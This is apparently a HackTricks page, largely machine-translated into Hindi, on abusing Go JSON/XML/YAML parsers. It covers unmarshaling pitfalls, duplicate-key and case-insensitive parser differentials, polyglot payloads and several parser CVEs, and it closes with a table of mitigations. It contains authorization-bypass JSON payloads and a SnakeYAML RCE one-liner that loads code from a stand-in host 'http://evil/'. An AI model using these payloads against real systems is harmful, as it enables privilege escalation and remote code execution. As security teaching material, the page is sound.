JSON, XML & Yaml Hacking & समस्याएँ

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Go JSON Decoder

The following issues were detected in the Go JSON although they could be present in other languages as well. These issues were published in this blog post.

Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to bypass authentication, escalate privileges, or exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

लक्ष्य उन structs का शोषण करना है जो एक हमलावर को संवेदनशील फील्ड पढ़ने/लिखने की अनुमति देते हैं (उदा., IsAdmin, Password)।

  • उदाहरण Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • सामान्य कमजोरियाँ
  1. Missing tag (कोई टैग नहीं = फ़ील्ड फिर भी डिफ़ॉल्ट रूप से पार्स किया जाता है):
go
type User struct {
Username string
}

Payload:

json
{"Username": "admin"}
  1. - का गलत उपयोग:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ किसी फ़ील्ड को (un)marshaled होने से रोकने का सही तरीका:

go
type User struct {
IsAdmin bool `json:"-"`
}

पार्सर भिन्नताएँ

लक्ष्य यह है कि authorization को bypass करना, इस बात का फायदा उठाकर कि विभिन्न parsers एक ही payload को अलग तरीके से interpret करते हैं, जैसे:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. डुप्लिकेट फ़ील्ड: Go's encoding/json लेता है आखिरी फ़ील्ड।

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

अन्य पार्सर (उदा., Java’s Jackson) संभवतः पहला ले सकते हैं।

2. केस-असंवेदनशीलता: Go केस-असंवेदनशील है:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

यहाँ तक कि Unicode tricks भी काम करते हैं:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: कल्पना करें:

  • Proxy Go में लिखा गया
  • AuthZ service Python में लिखा गया

Attacker sends:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python UserAction को देखता है, अनुमति देता है
  • Go AdminAction को देखता है, निष्पादित करता है

डेटा फ़ॉर्मेट भ्रम (Polyglots)

लक्ष्य उन सिस्टम्स का शोषण करना है जो फॉर्मैट्स (JSON/XML/YAML) को मिलाते हैं या पार्सर त्रुटियों पर fail open हो जाते हैं, जैसे:

  • CVE-2020-16250: HashiCorp Vault ने JSON को XML parser के साथ पार्स किया जब STS ने XML की बजाय JSON लौटाया।

हमलावर नियंत्रित करता है:

  • The Accept: application/json header
  • JSON बॉडी का आंशिक नियंत्रण

Go का XML parser ने इसे फिर भी पार्स किया और इंजेक्ट की गई पहचान पर भरोसा कर लिया।

  • तैयार किया गया payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

परिणाम:

  • Go JSON parser: Action_2 (case-insensitive + last wins)
  • YAML parser: Action_1 (case-sensitive)
  • XML parser: स्ट्रिंग के अंदर "Action_3" को पार्स करता है

उल्लेखनीय Parser Vulnerabilities (2023-2025)

निम्नलिखित सार्वजनिक रूप से शोषणयोग्य मुद्दे दिखाते हैं कि असुरक्षित parsing एक बहु-भाषीय समस्या है — सिर्फ Go की समस्या नहीं।

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • प्रभावित: org.yaml:snakeyaml < 2.0 (Spring-Boot, Jenkins आदि में उपयोग).
  • मूल कारण: new Constructor() arbitrary Java classes को deserializes करता है, जिससे gadget chains बनते हैं जो अंततः remote-code execution तक पहुँचते हैं।
  • One-liner PoC (vulnerable host पर calculator खोलेगा):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • सुधार / शमन:
  1. ≥2.0 पर अपग्रेड करें (डिफ़ॉल्ट रूप से SafeLoader का उपयोग करता है).
  2. पुराने संस्करणों पर, स्पष्ट रूप से उपयोग करें new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • प्रभावित: libyaml ≤0.2.5 (कई भाषा बाइंडिंग्स द्वारा उपयोग की जाने वाली C लाइब्रेरी).
  • समस्या: yaml_event_delete() को दो बार कॉल करने से एक double-free होता है, जिसे हमलावर DoS या कुछ परिदृश्यों में heap exploitation में बदल सकते हैं.
  • स्थिति: Upstream ने इसे “API misuse” के रूप में अस्वीकार किया, लेकिन Linux distributions ने पैच्ड 0.2.6 जारी किया जो रक्षात्मक रूप से pointer को null-free कर देता है.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • प्रभावित: Tencent RapidJSON before commit 8269bc2 (<1.1.0-patch-22).
  • बग: GenericReader::ParseNumber() में unchecked arithmetic हमलावरों को बड़े numeric literals तैयार करने की अनुमति देता है जो wrap around करके heap को corrupt कर देते हैं — अंततः उस resulting object graph का उपयोग authorization decisions के लिए किए जाने पर privilege-escalation सक्षम हो जाता है.

🔐 शमन (अद्यतन)

जोखिमसमाधान / सिफारिश
अज्ञात फ़ील्ड्स (JSON)decoder.DisallowUnknownFields()
डुप्लिकेट फ़ील्ड्स (JSON)❌ stdlib में कोई फिक्स नहीं — jsoncheck से validate करें
केस-असंवेदनशील मिलान (Go)❌ कोई फिक्स नहीं — struct tags को validate करें + input को pre-canonicalize करें
XML garbage data / XXEएक hardened parser का उपयोग करें (encoding/xml + DisallowDTD)
YAML अज्ञात कुंजियाँyaml.KnownFields(true)
Unsafe YAML deserializationSafeConstructor का उपयोग करें / SnakeYAML ≥2.0 पर अपग्रेड करें
libyaml ≤0.2.5 double-free0.2.6 या डistro-पैच्ड रिलीज़ पर अपग्रेड करें
RapidJSON <patched commitनवीनतम RapidJSON (≥July 2024) के साथ compile करें

देखें भी

Mass Assignment Cwe 915

संदर्भ

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें